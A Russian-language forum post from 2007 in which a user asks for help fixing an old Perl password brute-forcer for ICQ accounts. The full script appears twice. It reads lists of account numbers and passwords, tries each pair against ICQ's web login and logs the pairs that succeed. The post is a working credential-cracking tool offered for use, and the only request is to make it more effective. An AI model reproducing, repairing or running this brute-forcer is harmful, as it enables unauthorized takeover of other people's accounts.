Benzin
29.05.2007, 23:52
Народ у кого нить есть брутер под шелл. Нашел, но он старый и не работает, точнее работает но пассы не находит, проверял на себе.
Может подправить как надо, я Perl не знаю поэтому прошу помощи. (написал специально без тега CODE, игаче все в одну строку получается)
#!/usr/bin/perl
#############################################
#############################################
#
# ICQ.Bruteforce v1.7 by UsEle$$ gr0up
#
# Language: Perl Code
# Platform: Any with Perl started
# Author: Hunt
# All Rights Reserved by UsEle$$ gr0up
#
# 11.12.02
#
#############################################
#############################################
use IO::Socket;
$negative = 'incorrect';
$positive = 'change_details';
$server = 'web.icq.com';
# local files directives
$uins = 'uins.txt';
$passwordlst = 'pass.txt';
$success = 'log.txt';
$debuglog = 'debug.log';
# begin of script-code
print "\n\n\tICQ.Bruteforce v1.7 by UsEle\$\$ gr0up\n\n";
print "\tLanguage: Perl Code\n";
print "\tPlatform: Any with Perl started\n";
print "\tAuthor: Hunt\n";
print "\tAll Rights Reserved by UsEle\$\$ gr0up\n";
print "\tReady to work...\n\n";
&checkstart; # checking configuration
&openuins; # opening uins & pass list
sub checkstart
{
crash($uins) unless -f $uins;
crash($passwordlst) unless -f $passwordlst;
}
sub openuins
{
open UINS, "< $uins";
while (<UINS>) {
chomp $_;
push @uinslst, $_;
}
close UINS;
for ($iall = 0; $iall <= scalar @uinslst; $iall++) {
$prepareuin = $uinslst[$iall];
openpass($prepareuin);
}
}
sub openpass
{
my($uin) = @_;
open PASS, "< $passwordlst";
# while (<PASS>) {
# chomp $_;
# push @ps, $_;
# }
@ps = <PASS> while <PASS>;
close PASS;
foreach $pass (@ps) {
$done = crack($pass, $uin);
if ($done eq 2) {
print "\tFound\n";
return;
}
return if $done eq 3;
}
}
sub crack
{
my($passwd, $uin) = @_;
return 3 unless $passwd;
print "\tTrying $uin and $passwd... ";
$dir = "/newlogin/1,,,00.html?&karma_fail_url=http://web.icq.com/login/login_page?karma_product_css=11&karma_success_url=http://web.icq.com/whitepages/change_details/?&karma_forget=1&karma_service=1&karma_user_login=$uin&karma_user_passwd=$passwd";
$resuilt = sock($dir);
if ($resuilt == -1) {
print "Can\'t connect to server... Reconnecting\n";
redo;
} elsif (!$resuilt) {
print "failed\n";
return 0;
} elsif ($resuilt) {
print "success\n";
logging($success, "$uin\:$passwd");
$i++;
return 2;
}
}
sub sock
{
my($socket);
my($get) = @_;
$socket = IO::Socket::INET->new(PeerAddr => $server,
PeerPort => 80,
Proto => tcp) or return -1;
$get =~ s/\r|\n//g;
print $socket "HEAD $get HTTP/1.0\n\n";
while (<$socket>) {
$answer = $_;
chomp $answer;
if ($answer =~ /$positive/) {
close $socket;
return 1;
}
if ($answer =~ /$negative/) {
close $socket;
return 0;
}
}
}
sub logging
{
my($logg, $string) = @_;
open LOGG, ">> $logg";
print LOGG "$string\n";
close LOGG;
}
sub crash
{
my($file) = @_;
print "\tCan\'t access to $file\n";
exit;
}
Может подправить как надо, я Perl не знаю поэтому прошу помощи. (написал специально без тега CODE, игаче все в одну строку получается)
#!/usr/bin/perl
#############################################
#############################################
#
# ICQ.Bruteforce v1.7 by UsEle$$ gr0up
#
# Language: Perl Code
# Platform: Any with Perl started
# Author: Hunt
# All Rights Reserved by UsEle$$ gr0up
#
# 11.12.02
#
#############################################
#############################################
use IO::Socket;
$negative = 'incorrect';
$positive = 'change_details';
$server = 'web.icq.com';
# local files directives
$uins = 'uins.txt';
$passwordlst = 'pass.txt';
$success = 'log.txt';
$debuglog = 'debug.log';
# begin of script-code
print "\n\n\tICQ.Bruteforce v1.7 by UsEle\$\$ gr0up\n\n";
print "\tLanguage: Perl Code\n";
print "\tPlatform: Any with Perl started\n";
print "\tAuthor: Hunt\n";
print "\tAll Rights Reserved by UsEle\$\$ gr0up\n";
print "\tReady to work...\n\n";
&checkstart; # checking configuration
&openuins; # opening uins & pass list
sub checkstart
{
crash($uins) unless -f $uins;
crash($passwordlst) unless -f $passwordlst;
}
sub openuins
{
open UINS, "< $uins";
while (<UINS>) {
chomp $_;
push @uinslst, $_;
}
close UINS;
for ($iall = 0; $iall <= scalar @uinslst; $iall++) {
$prepareuin = $uinslst[$iall];
openpass($prepareuin);
}
}
sub openpass
{
my($uin) = @_;
open PASS, "< $passwordlst";
# while (<PASS>) {
# chomp $_;
# push @ps, $_;
# }
@ps = <PASS> while <PASS>;
close PASS;
foreach $pass (@ps) {
$done = crack($pass, $uin);
if ($done eq 2) {
print "\tFound\n";
return;
}
return if $done eq 3;
}
}
sub crack
{
my($passwd, $uin) = @_;
return 3 unless $passwd;
print "\tTrying $uin and $passwd... ";
$dir = "/newlogin/1,,,00.html?&karma_fail_url=http://web.icq.com/login/login_page?karma_product_css=11&karma_success_url=http://web.icq.com/whitepages/change_details/?&karma_forget=1&karma_service=1&karma_user_login=$uin&karma_user_passwd=$passwd";
$resuilt = sock($dir);
if ($resuilt == -1) {
print "Can\'t connect to server... Reconnecting\n";
redo;
} elsif (!$resuilt) {
print "failed\n";
return 0;
} elsif ($resuilt) {
print "success\n";
logging($success, "$uin\:$passwd");
$i++;
return 2;
}
}
sub sock
{
my($socket);
my($get) = @_;
$socket = IO::Socket::INET->new(PeerAddr => $server,
PeerPort => 80,
Proto => tcp) or return -1;
$get =~ s/\r|\n//g;
print $socket "HEAD $get HTTP/1.0\n\n";
while (<$socket>) {
$answer = $_;
chomp $answer;
if ($answer =~ /$positive/) {
close $socket;
return 1;
}
if ($answer =~ /$negative/) {
close $socket;
return 0;
}
}
}
sub logging
{
my($logg, $string) = @_;
open LOGG, ">> $logg";
print LOGG "$string\n";
close LOGG;
}
sub crash
{
my($file) = @_;
print "\tCan\'t access to $file\n";
exit;
}